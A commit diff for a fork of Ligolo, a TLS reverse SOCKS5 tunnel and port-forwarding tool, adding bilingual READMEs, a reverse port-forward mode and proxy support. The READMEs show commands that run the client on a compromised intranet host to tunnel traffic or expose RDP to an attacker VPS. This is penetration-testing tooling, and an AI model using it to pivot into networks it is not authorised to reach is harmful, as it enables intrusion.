add reverse portfwd function

Makefile

@@ -9,7 +9,7 @@ CLIENT_BINARY=ligoloc
 SERVER_BINARY=ligolos
 TAGS=release
 
-OSARCH = "linux/amd64 linux/386 windows/amd64 windows/386 darwin/amd64 darwin/386"
+OSARCH = "linux/amd64 linux/386 windows/amd64 windows/386 darwin/amd64"
 
 TLS_HOST ?= 'ligolo.lan'
 

README.md

@@ -3,11 +3,13 @@
 [![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)
 [![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)
 
+简体中文 | [English](./README_EN.md)
+
 ## 介绍
 
 项目根据 [ligolo](https://github.com/sysdream/ligolo) 修改,主要做一些功能上的裁剪,方便使用.
 
-**Ligolo** 是一个简单的,轻量级的反向Socks5代理工具,所有的流量使用TLS加密.
+**Ligolo** 是一个简单的,轻量级的反向Socks5代理工具及端口映射工具,所有的流量使用TLS加密.
 
 其功能类似于*Meterpreter*中的*Autoroute + Socks4a*,但是更加稳定,速度更快.
 
@@ -15,7 +17,7 @@
 
 当你已经在对方内网获取到一台 Windows / Linux / Mac 主机的权限且该主机可以连接互联网.
 
-此时你想要建立一个对方内网的Socks5代理.
+此时你想要建立一个对方内网的Socks5代理或需要连接内网某个IP地址的某端口.
 
 **Ligolo** 可以帮助你建立代理,协助你继续进行内网渗透.
 
@@ -23,9 +25,9 @@
 
 ## 使用方法
 
-### TL;DR
+### Sock5代理
 
-- 获取已编译的二进制文件 [release](https://github.com/funnywolf/ligolo/releases)
+- 获取已编译的二进制文件 [release](https://github.com/FunnyWolf/ligolo/releases)
 
 - 在你的VPS主机中.
 
@@ -60,30 +62,51 @@
 
 一旦*ligolos* 和 *ligoloc* 之间的连接建立成功,你即可使用VPS服务器`127.0.0.1:1080`的内网socks5代理.
 
+
+### 反向端口映射
+- 在你的VPS主机中.
+
+```
+./ligolos -p 0.0.0.0:13389
+```
+
+- 在已控制的内网主机中.
+
+```
+> ligoloc.exe -s your-vps-ip:443 -t 127.0.0.1:3389
+```
+
+- 连接建立成功后,已经将以控制内网主机的3389映射到VPS-IP:13389.
+
+
+
 ### 选项
 
 *ligolos* options:
 
 ```
-PS XXX\bin> .\ligolos_windows_amd64.exe -h
-Usage of D:\Code\git\go\src\ligolo\bin\ligolos_windows_amd64.exe:
+PS D:\xxx\bin> .\ligolos.exe -h
+Usage of D:\xxx\ligolos.exe:
   -cert string
         The TLS server certificate,Unnecessary (default "cert.pem")
   -key string
         The TLS server key,Unnecessary (default "key.pem")
   -l string
         The relay server listening address (the connect-back address) (default "0.0.0.0:443")
-  -s5 string
-        The local socks5 server address (your proxychains parameter) (default "127.0.0.1:1080")
+  -p string
+        The local socks5 server address or ip:port use to connect target (default "127.0.0.1:1080")
 ```
 
 *ligoloc* options:
 
 ```
-PS XXX\bin> .\ligoloc_windows_amd64.exe -h
-Usage of D:\Code\git\go\src\ligolo\bin\ligoloc_windows_amd64.exe:
+Usage of D:\XXX\ligoloc.exe:
+  -proxy string
+        Use proxy to connect ligolo server(e.g. http://user:[email protected]:8080 socks5://user:[email protected]:1080)
   -s string
-        The relay server (the connect-back address) (default "example.com:443")
+        The ligolo server (the connect-back address)(e.g. 0.0.0.0:443)
+  -t string
+        The destination server (a 192.168.1.3:3389, 192.168.1.3:22, etc.) - when not specified, Ligolo starts a socks5 proxy server
 ```
 
 ### 编译
@@ -102,7 +125,6 @@ Usage of D:\Code\git\go\src\ligolo\bin\ligoloc_windows_amd64.exe:
 - 更好的超时机制
 - SOCKS5 UDP 支持
 - mTLS双向认证
-- 反向端口映射 (映射内网端口到互联网)
 
 ## Licensing
 

README_EN.md

@@ -0,0 +1,132 @@
+# Ligolo: Reverse tunnel for intranet penetration
+
+[![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)
+[![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)
+
+English | [简体中文](./README.md)
+
+## introduce
+
+The project is modified according to [ligolo](https://github.com/sysdream/ligolo), mainly for some functional tailoring, which is convenient to use.
+
+**Ligolo** is a simple, lightweight reverse Socks5 proxy tool, all traffic is encrypted with TLS.
+
+Its function is similar to *Autoroute + Socks4a* in *Meterpreter*, but it is more stable and faster.
+
+## why you need this
+
+When you have obtained the permission of a Windows / Linux / Mac host on the other party's intranet and the host can connect to the Internet.
+
+At this point you want to establish a Socks5 proxy for the other party's intranet.
+
+**Ligolo** can help you establish an agent to help you continue to penetrate the intranet.
+
+> If the controlled host cannot access the Internet, you can try another tool [pystinger](https://github.com/FunnyWolf/pystinger)
+
+## Instructions
+
+### TL;DR
+
+- Get the compiled binary file [release](https://github.com/FunnyWolf/ligolo/releases)
+
+- In your VPS hosting.
+
+```
+./ligolos
+```
+
+- In the controlled intranet host.
+
+```
+> ligoloc.exe -s your-vps-ip:443
+```
+
+- After the connection is successfully established, the 127.0.0.1:1080 of the VPS has established the Socks5 proxy for the internal network of the controlled host.
+
+### Detailed description
+
+*Ligolo* contains two modules:
+
+- ligolos (server)
+- ligoloc (client)
+
+*ligolos* runs on your VPS server (attack server).
+
+*ligoloc* runs on an already controlled intranet host.
+
+*ligolos* can use the default settings. It will listen on port 0.0.0.0:443 (for waiting for ligoloc connection) and 127.0.0.1:1080 (for socks5 proxy).
+
+*ligoloc* The server address must be specified when running, using the parameter `-s your-vps-ip:443`.
+
+You can use the `-h` parameter to view the help.
+
+Once the connection between *ligolos* and *ligoloc* is established, you can use the intranet socks5 proxy of the VPS server `127.0.0.1:1080`.
+
+
+### Reverse portfwd
+- In your VPS host
+```
+./ligolos -p 0.0.0.0:13389
+```
+- In controlled intranet host
+```
+> ligoloc. exe -s your-vps-ip:443 -t 127.0.0.1:3389
+```
+- After the connection is established successfully, the intranet host 127.0.0.1:3389 has been mapped to vps-ip:13389
+
+
+### Options
+
+*ligolos* options:
+
+```
+PS D:\xxx\bin> .\ligolos.exe -h
+Usage of D:\xxx\ligolos.exe:
+  -cert string
+        The TLS server certificate,Unnecessary (default "cert.pem")
+  -key string
+        The TLS server key,Unnecessary (default "key.pem")
+  -l string
+        The relay server listening address (the connect-back address) (default "0.0.0.0:443")
+  -p string
+        The local socks5 server address or ip:port use to connect target (default "127.0.0.1:1080")
+```
+
+*ligoloc* options:
+
+```
+Usage of D:\XXX\ligoloc.exe:
+  -proxy string
+        Use proxy to connect ligolo server(e.g. http://user:[email protected]:8080 socks5://user:[email protected]:1080)
+  -s string
+        The ligolo server (the connect-back address)(e.g. 0.0.0.0:443)
+  -t string
+        The destination server (a 192.168.1.3:3389, 192.168.1.3:22, etc.) - when not specified, Ligolo starts a socks5 proxy server
+```
+
+
+### Compile
+
+Refer to the compilation method of the original ligolo
+
+## Features
+
+- TLS 1.3 encrypted tunnel
+- Multi-platform (Windows / Linux / Mac /...)
+- Multiple connection multiplexing (1 TCP connection transmits all traffic)
+- SOCKS5 proxy
+
+## To Do
+
+- Better timeout mechanism
+- SOCKS5 UDP support
+- mTLS mutual authentication
+- Reverse port mapping (mapping intranet port to internet)
+
+## Licensing
+
+GNU General Public License v3.0 (refer to LICENSING).
+
+## Original author
+
+* Nicolas Chatelain <n.chatelain -at- sysdream.com>

cmd/ligoloc/main.go

@@ -1,7 +1,9 @@
 package main
 
 import (
+	"bufio"
 	"crypto/tls"
+	"encoding/base64"
 	"flag"
 	"fmt"
 	"github.com/armon/go-socks5"
@@ -9,21 +11,97 @@ import (
 	"github.com/sirupsen/logrus"
 	"io"
 	"net"
+	"net/http"
+	"net/url"
 	"time"
+
+	"golang.org/x/net/proxy"
 )
 
-var tlsFingerprint string
+type ProxyAuth struct {
+	Enable   bool
+	Username string
+	Passwd   string
+}
 
-var (
-	ErrInvalidServerCert = fmt.Errorf("invalid TLS server certificate")
-	ErrInvalidPinnedCert = fmt.Errorf("invalid TLS pinned certificate")
-)
+func DialTcpByProxy(proxyStr string, addr string) (c net.Conn, err error) {
+	var proxyUrl *url.URL
+	if proxyUrl, err = url.Parse(proxyStr); err != nil {
+		return
+	}
+
+	auth := &ProxyAuth{}
+	if proxyUrl.User != nil {
+		auth.Enable = true
+		auth.Username = proxyUrl.User.Username()
+		auth.Passwd, _ = proxyUrl.User.Password()
+	}
+
+	switch proxyUrl.Scheme {
+	case "http":
+		return DialTcpByHttpProxy(proxyUrl.Host, addr, auth)
+	case "socks5":
+		return DialTcpBySocks5Proxy(proxyUrl.Host, addr, auth)
+	default:
+		err = fmt.Errorf("Proxy URL scheme must be http or socks5, not [%s]", proxyUrl.Scheme)
+		return
+	}
+}
+
+func DialTcpByHttpProxy(proxyHost string, dstAddr string, auth *ProxyAuth) (c net.Conn, err error) {
+	if c, err = net.Dial("tcp", proxyHost); err != nil {
+		return
+	}
+
+	req, err := http.NewRequest("CONNECT", "http://"+dstAddr, nil)
+	if err != nil {
+		return
+	}
+	if auth.Enable {
+		req.Header.Set("Proxy-Authorization", "Basic "+base64.StdEncoding.EncodeToString([]byte(auth.Username+":"+auth.Passwd)))
+	}
+	req.Header.Set("User-Agent", "Mozilla/5.0")
+	req.Write(c)
+
+	resp, err := http.ReadResponse(bufio.NewReader(c), req)
+	if err != nil {
+		return nil, err
+	}
+	resp.Body.Close()
+	if resp.StatusCode != 200 {
+		err = fmt.Errorf("DialTcpByHttpProxy error, StatusCode [%d]", resp.StatusCode)
+		return
+	}
+	return
+}
+
+func DialTcpBySocks5Proxy(proxyHost string, dstAddr string, auth *ProxyAuth) (c net.Conn, err error) {
+	var s5Auth *proxy.Auth
+	if auth.Enable {
+		s5Auth = &proxy.Auth{
+			User:     auth.Username,
+			Password: auth.Passwd,
+		}
+	}
+
+	dialer, err := proxy.SOCKS5("tcp", proxyHost, s5Auth, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	if c, err = dialer.Dial("tcp", dstAddr); err != nil {
+		return
+	}
+	return
+}
 
 func main() {
-	relayServer := flag.String("s", "example.com:443", "The relay server (the connect-back address)")
+	relayServer := flag.String("s", "", "The ligolo server ip:port (e.g. example.com:443)")
+	targetServer := flag.String("t", "", "The destination server ip:port (e.g. 192.168.1.3:3389, 192.168.1.3:22, etc.) - when not specified, Ligolo starts a socks5 proxy server")
+	proxyStr := flag.String("proxy", "", "Use proxy to connect ligolo server(e.g. http://user:[email protected]:8080 socks5://user:[email protected]:1080)")
 	flag.Parse()
 	for {
-		err := StartLigolo(*relayServer)
+		err := StartLigolo(*relayServer, *targetServer, *proxyStr)
 		if err != nil {
 			logrus.Error(err)
 		}
@@ -32,14 +110,26 @@ func main() {
 	}
 }
 
-func StartLigolo(relayServer string) error {
+func StartLigolo(relayServer string, targetServer string, proxyStr string) error {
 	var socks *socks5.Server
 	logrus.Infoln("Connecting to ligolo server...")
-
 	config := &tls.Config{InsecureSkipVerify: true}
-	conn, err := tls.Dial("tcp", relayServer, config)
-	if err != nil {
-		return err
+	var conn net.Conn
+	var err error
+
+	if proxyStr == "" {
+		conn, err = tls.Dial("tcp", relayServer, config)
+		if err != nil {
+			return err
+		}
+
+	} else {
+		logrus.Infoln("Using proxy")
+		conn, err = DialTcpByProxy(proxyStr, relayServer)
+		if err != nil {
+			return err
+		}
+		conn = tls.Client(conn, config)
 	}
 	socks, err = startSocksProxy()
 	if err != nil {
@@ -61,8 +151,18 @@ func StartLigolo(relayServer string) error {
 		}
 		logrus.WithFields(logrus.Fields{"active_sessions": session.NumStreams()}).Println("Accepted new connection !")
 		// When no targetServer are specified, starts a socks5 proxy
-		go socks.ServeConn(stream)
+		if targetServer == "" {
+			go socks.ServeConn(stream)
+		} else {
+			proxyConn, err := net.Dial("tcp", targetServer)
+			if err != nil {
+				logrus.Errorf("Error creating Proxy TCP connection ! Error : %s\n", err)
+				return err
+			}
+			go handleRelay(stream, proxyConn)
+		}
 	}
+
 }
 
 func startSocksProxy() (*socks5.Server, error) {

cmd/ligolos/main.go

@@ -12,7 +12,7 @@ import (
 )
 
 func main() {
-	localServer := flag.String("s5", "127.0.0.1:1080", "The local socks5 server address (your proxychains parameter)")
+	localServer := flag.String("p", "127.0.0.1:1080", "The local socks5 server address or ip:port to connect")
 	relayServer := flag.String("l", "0.0.0.0:443", "The relay server listening address (the connect-back address)")
 	certFile := flag.String("cert", "cert.pem", "The TLS server certificate,Unnecessary")
 	keyFile := flag.String("key", "key.pem", "The TLS server key,Unnecessary")
@@ -41,7 +41,7 @@ func NewLigoloRelay(localServer string, relayServer string, certFile string, key
 // Start listening for local and relay connections
 func (ligolo LigoloRelay) Start() {
 
-	logrus.WithFields(logrus.Fields{"localserver": ligolo.LocalServer, "relayserver": ligolo.RelayServer}).Println("Ligolo server started.")
+	logrus.WithFields(logrus.Fields{"socks5server": ligolo.LocalServer, "ligoloserver": ligolo.RelayServer}).Println("Ligolo server started.")
 	go ligolo.startRelayHandler()
 	ligolo.startLocalHandler()
 }